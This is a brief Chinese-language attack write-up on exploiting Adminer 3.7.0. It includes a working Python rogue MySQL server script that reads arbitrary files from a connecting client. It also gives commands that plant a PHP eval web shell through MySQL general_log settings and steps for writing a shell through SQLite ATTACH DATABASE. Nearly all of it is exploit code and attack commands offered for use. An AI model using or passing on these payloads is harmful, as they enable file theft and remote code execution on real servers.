记一次adminer利用
版本:3.7.0
任意文件读取
伪造fake mysql server任意文件读取
poc:python2 poc.py /var/www/index.php
#coding=utf-8 import socket import logging import sys logging.basicConfig(level=logging.DEBUG)
filename=sys.argv[1] sv=socket.socket() sv.setsockopt(1,2,1) sv.bind(("",3308)) sv.listen(5) conn,address=sv.accept() logging.info('Conn from: %r', address) conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")conn.recv(9999) logging.info("auth okay") conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00") conn.recv(9999) logging.info("want file...") wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename conn.sendall(wantfile) content=conn.recv(20000) logging.info(content) conn.close()
|

mysql日志写shell
正常的开启日志写shell,需要一定权限
set global general_log=on; set global general_log_file='/var/www/shell.php'; select '<?php eval($_POST['pwd']);?>';
|
sqlite3写shell
遇到了这种极端情况,权限低可以尝试sqlite3,条件需要有sqlite的驱动
直接点登录

使用命令,创建php,路径随意
ATTACH DATABASE 'c.php' AS lol;
|

使用c.php

创建新表,插入payload,保存

shell
